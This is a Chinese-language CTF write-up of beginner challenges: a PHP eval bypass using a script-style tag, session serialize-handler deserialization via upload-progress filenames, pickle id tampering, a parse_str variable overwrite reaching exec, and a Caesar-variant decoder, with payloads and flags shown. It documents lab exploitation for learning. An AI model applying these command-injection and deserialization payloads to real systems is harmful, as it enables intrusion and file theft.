我确实是新手。
WEB
easy_eval
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code); //中止
}
?>提前中止php,后面就不会执行代码了。因此$code需要传一个php标签,但str_replace过滤了问号。考虑用script风格标签。一开始没想到script风格标签导致卡了很久555。
payload:
code=<script language="php">
system('cat /f1agaaa');
</script>
剪刀石头布
连续猜拳赢100次得到flag(耍你的
审计代码:
<?php
ini_set('session.serialize_handler', 'php');
if(isset($_POST['source'])){
highlight_file(__FILE__);
phpinfo();
die();
}
error_reporting(0);
include "flag.php";
class Game{
public $log,$name,$play;
public function __construct($name){
$this->name = $name;
$this->log = '/tmp/'.md5($name).'.log';
}
//略
public function __destruct(){
echo "<h5>Game History</h5>\n";
echo "<div class='all_output'>\n";
echo file_get_contents($this->log);
echo "</div>";
}
}
?>
<?php
session_start();
if(isset($_POST['name'])){
$_SESSION['name']=$_POST['name'];
$_SESSION['win']=0;
}
if(!isset($_SESSION['name'])){
?>
...
<?php exit();
}
?>
<?php
$choices = array("Rock", "Paper", "Scissors");
$rand_bot = array_rand($choices);
$bot_input = $choices[$rand_bot];
if(isset($_POST["choice"]) AND in_array($_POST["choice"],$choices)){
$user_input = $_POST["choice"];
$result=$Game->play($user_input,$bot_input);
if ($result=="You Win"){
$_SESSION['win']+=1;
} else {
$_SESSION['win']=0;
}
} else {
?>
//...
<?php
if(isset($_POST["flag"])){
if($_SESSION['win']<100){
echo "<div>You need to win 100 rounds in a row to get flag.</div>";
} else {
echo "Here is your flag:".$flag;
}
}
}
?>
这里有一个很刻意的指出了ini_set(‘session.serialize_handler’, ‘php’);序列化handler可控,并且发现session.upload_progress.name为PHP_SESSION_UPLOAD_PROGRESS,很明显的phpsession差异导致的反序列化。
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致安全问题。
这是因为当使用php引擎的时候,php引擎会以**|**作为key和value的分隔符。
以这道题为例。
由于session.upload_progress.name为PHP_SESSION_UPLOAD_PROGRESS,那么该session文件的内容是可控的,就是POST的filename。
上传页面:
<form action="http://a188d7a8-2a27-4c8f-bdb0-da187c09c567.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
结合Game类的代码,我们把log设置为flag.php即可,序列化生成:
O:4:"Game":2:{s:3:"log";s:8:"flag.php";s:4:"name";s:8:"Squirt1e";}
filename赋值为|O:4:"Game":2:{s:3:"log";s:8:"flag.php";s:4:"name";s:8:"Squirt1e";}。、php引擎会以**|**作为key和value的分隔符
也就是’s:6:"Squirt1e”;s:67:”‘=>’O:4:"Game":2:{s:3:"log";s:8:"flag.php";s:4:"name";s:8:"Squirt1e";}’,从而在析构函数读取flag。
baby_pickle
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
user = pickle.load(f)
if user.id != 0:
message = "你不是大菜鸡"
return message
else:
message = "恭喜你成为大菜鸡" + flag
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname) //*
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
非预期了。pickle反序列化。然后注意到了info = info.replace(name, newname),只要让user.id=0即可,假设第一次默认路由让id=1,那么注册一个name=2的用户,然后通过/change改成0即可替换掉user.id。
注册用户2。
修改用户名,注意base编码。
访问/dacaiji,这里没想明白为啥name没被替换成0。
repairman
hello,the user!We may change the mode to repaie the server,please keep it unchanged
让mode=0,看到了代码。
Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}
if($mode == '0'){
//echo var_dump($GLOBALS);
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo 'hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
传一个secret为MD5后的token即可执行exec,但是preg_replace只让传字母数字。
然后注意到 ,通过url传参给变量赋值,这里我们把config变量赋值成空就可以了,secret传md5后的admin值即可享受999帝王权限。
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
exec无回显,写文件即可,flag藏在config.php中。
访问a.txt
<?php
$config['serect'] = md5(mt_rand(0,9999));
$flag = 'ctfshow{4439affe-320c-4865-98ab-3650a3483fca}';
CRYPTO
easy_base
翻转,base64解密即可。
凯撒密码
def decode():
text=['r', 'y', 'd', 't', 'x', 'c', 'i', '{', 'y', 'x', '1', 't', '_', 'u', 't', '_', 'z', '1', 'd', 'd', 'a', 'q', 'h', 'y', '_', 'r', '4', 'q', 't', 'n', 'a', '!', '!', '}']
flag=[]
table=list(ascii_lowercase)
table=['h', 'g', 'u', 'p', 'o', 'v', 'n', 'b', 'i', 'j', 'y', 'k', 'a', 'z', 'w', 'q', 't', 'l', 'r', 'd', 'x', 'e', 's', 'm', 'c', 'f']
for key in range(0,26):
for i in text:
if i in table:
flag.append(table[(table.index(i)+key)%26])
else:
flag.append(i)
print("".join(flag))
flag=[]
decode()
ctfshow{th1s_is_d1ffrent_c4esar!!}
RE
你newbee吗
拖到IDA。